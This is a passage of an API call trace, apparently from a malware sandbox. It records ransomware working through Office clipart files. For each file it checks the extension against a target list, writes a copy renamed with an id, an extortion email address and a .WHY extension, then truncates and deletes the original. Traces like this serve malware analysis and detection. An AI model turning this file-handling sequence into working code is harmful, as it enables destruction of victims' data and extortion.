Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.264] lstrlenW (lpString=".1cd") returned 4 [0233.264] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.265] lstrlenW (lpString=".jpg") returned 4 [0233.265] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.265] lstrlenW (lpString=".doc") returned 4 [0233.265] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.265] lstrlenW (lpString=".docx") returned 5 [0233.265] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.265] lstrlenW (lpString=".pdf") returned 4 [0233.265] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.266] lstrlenW (lpString=".xls") returned 4 [0233.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.266] lstrlenW (lpString=".xlsx") returned 5 [0233.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.266] lstrlenW (lpString=".ppt") returned 4 [0233.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.266] lstrlenW (lpString=".zip") returned 4 [0233.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.266] lstrlenW (lpString=".rar") returned 4 [0233.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.266] lstrlenW (lpString=".bz2") returned 4 [0233.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.266] lstrlenW (lpString=".7z") returned 3 [0233.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.267] lstrlenW (lpString=".dbf") returned 4 [0233.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.267] lstrlenW (lpString=".1cd") returned 4 [0233.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0233.267] lstrlenW (lpString=".jpg") returned 4 [0233.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.268] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.268] lstrlenW (lpString="AG00090_.GIF") returned 12 [0233.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.269] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=517) returned 1 [0233.269] CloseHandle (hObject=0x290) returned 1 [0233.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0233.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.270] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.270] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.272] GetLastError () returned 0x0 [0233.272] ReadFile (in: hFile=0x290, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x205, lpOverlapped=0x0) returned 1 [0233.275] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x210, lpOverlapped=0x0) returned 1 [0233.279] ReadFile (in: hFile=0x290, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.280] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.280] SetEndOfFile (hFile=0x320) returned 1 [0233.280] CloseHandle (hObject=0x320) returned 1 [0233.281] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.281] SetEndOfFile (hFile=0x290) returned 1 [0233.289] CloseHandle (hObject=0x290) returned 1 [0233.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0233.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.291] lstrlenW (lpString=".doc") returned 4 [0233.291] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.291] lstrlenW (lpString=".docx") returned 5 [0233.291] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.291] lstrlenW (lpString=".pdf") returned 4 [0233.291] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.291] lstrlenW (lpString=".xls") returned 4 [0233.291] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.291] lstrlenW (lpString=".xlsx") returned 5 [0233.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.291] lstrlenW (lpString=".ppt") returned 4 [0233.291] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.291] lstrlenW (lpString=".zip") returned 4 [0233.291] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.292] lstrlenW (lpString=".rar") returned 4 [0233.293] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.293] lstrlenW (lpString=".bz2") returned 4 [0233.293] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.293] lstrlenW (lpString=".7z") returned 3 [0233.293] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.293] lstrlenW (lpString=".dbf") returned 4 [0233.293] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.293] lstrlenW (lpString=".1cd") returned 4 [0233.293] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.293] lstrlenW (lpString=".jpg") returned 4 [0233.293] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.294] lstrlenW (lpString=".doc") returned 4 [0233.294] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.294] lstrlenW (lpString=".docx") returned 5 [0233.294] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.294] lstrlenW (lpString=".pdf") returned 4 [0233.294] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.294] lstrlenW (lpString=".xls") returned 4 [0233.295] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.295] lstrlenW (lpString=".xlsx") returned 5 [0233.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.295] lstrlenW (lpString=".ppt") returned 4 [0233.295] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.295] lstrlenW (lpString=".zip") returned 4 [0233.295] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.295] lstrlenW (lpString=".rar") returned 4 [0233.295] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.295] lstrlenW (lpString=".bz2") returned 4 [0233.295] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.295] lstrlenW (lpString=".7z") returned 3 [0233.295] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.296] lstrlenW (lpString=".dbf") returned 4 [0233.296] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.296] lstrlenW (lpString=".1cd") returned 4 [0233.296] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0233.296] lstrlenW (lpString=".jpg") returned 4 [0233.296] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.296] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0233.297] lstrlenW (lpString="AG00092_.GIF") returned 12 [0233.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.297] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=502) returned 1 [0233.298] CloseHandle (hObject=0x290) returned 1 [0233.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0233.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0233.299] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.299] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.300] GetLastError () returned 0x0 [0233.300] ReadFile (in: hFile=0x290, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0233.315] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x200, lpOverlapped=0x0) returned 1 [0233.610] ReadFile (in: hFile=0x290, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.610] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.611] SetEndOfFile (hFile=0x320) returned 1 [0233.706] CloseHandle (hObject=0x320) returned 1 [0233.731] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.731] SetEndOfFile (hFile=0x290) returned 1 [0234.003] CloseHandle (hObject=0x290) returned 1 [0234.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0234.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.293] lstrlenW (lpString=".doc") returned 4 [0234.293] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.293] lstrlenW (lpString=".docx") returned 5 [0234.293] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.293] lstrlenW (lpString=".pdf") returned 4 [0234.294] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.294] lstrlenW (lpString=".xls") returned 4 [0234.294] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.294] lstrlenW (lpString=".xlsx") returned 5 [0234.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.294] lstrlenW (lpString=".ppt") returned 4 [0234.294] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.294] lstrlenW (lpString=".zip") returned 4 [0234.294] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.294] lstrlenW (lpString=".rar") returned 4 [0234.294] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.294] lstrlenW (lpString=".bz2") returned 4 [0234.294] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.294] lstrlenW (lpString=".7z") returned 3 [0234.295] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.295] lstrlenW (lpString=".dbf") returned 4 [0234.295] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.295] lstrlenW (lpString=".1cd") returned 4 [0234.295] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.295] lstrlenW (lpString=".jpg") returned 4 [0234.295] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.296] lstrlenW (lpString=".doc") returned 4 [0234.296] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.296] lstrlenW (lpString=".docx") returned 5 [0234.296] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.296] lstrlenW (lpString=".pdf") returned 4 [0234.296] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.296] lstrlenW (lpString=".xls") returned 4 [0234.296] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.296] lstrlenW (lpString=".xlsx") returned 5 [0234.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.296] lstrlenW (lpString=".ppt") returned 4 [0234.296] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.297] lstrlenW (lpString=".zip") returned 4 [0234.297] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.297] lstrlenW (lpString=".rar") returned 4 [0234.297] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.297] lstrlenW (lpString=".bz2") returned 4 [0234.297] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.297] lstrlenW (lpString=".7z") returned 3 [0234.297] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.297] lstrlenW (lpString=".dbf") returned 4 [0234.297] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.297] lstrlenW (lpString=".1cd") returned 4 [0234.297] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0234.297] lstrlenW (lpString=".jpg") returned 4 [0234.298] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.383] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0234.384] lstrlenW (lpString="AG00130_.GIF") returned 12 [0234.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0234.497] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=5253) returned 1 [0234.497] CloseHandle (hObject=0x384) returned 1 [0234.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0234.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0234.498] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.498] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0234.500] GetLastError () returned 0x0 [0234.501] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x1485, lpOverlapped=0x0) returned 1 [0234.553] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0234.556] ReadFile (in: hFile=0x384, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.557] WriteFile (in: hFile=0x37c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.557] SetEndOfFile (hFile=0x37c) returned 1 [0234.567] CloseHandle (hObject=0x37c) returned 1 [0234.571] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.571] SetEndOfFile (hFile=0x384) returned 1 [0234.610] CloseHandle (hObject=0x384) returned 1 [0234.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0234.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.681] lstrlenW (lpString=".doc") returned 4 [0234.681] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.681] lstrlenW (lpString=".docx") returned 5 [0234.681] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.682] lstrlenW (lpString=".pdf") returned 4 [0234.682] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.682] lstrlenW (lpString=".xls") returned 4 [0234.682] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.682] lstrlenW (lpString=".xlsx") returned 5 [0234.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.682] lstrlenW (lpString=".ppt") returned 4 [0234.682] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.682] lstrlenW (lpString=".zip") returned 4 [0234.682] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.682] lstrlenW (lpString=".rar") returned 4 [0234.683] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.683] lstrlenW (lpString=".bz2") returned 4 [0234.683] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.683] lstrlenW (lpString=".7z") returned 3 [0234.683] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.683] lstrlenW (lpString=".dbf") returned 4 [0234.683] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.683] lstrlenW (lpString=".1cd") returned 4 [0234.683] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.683] lstrlenW (lpString=".jpg") returned 4 [0234.683] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0234.684] lstrlenW (lpString=".doc") returned 4 [0234.684] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.684] lstrlenW (lpString=".docx") returned 5 [0234.684] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 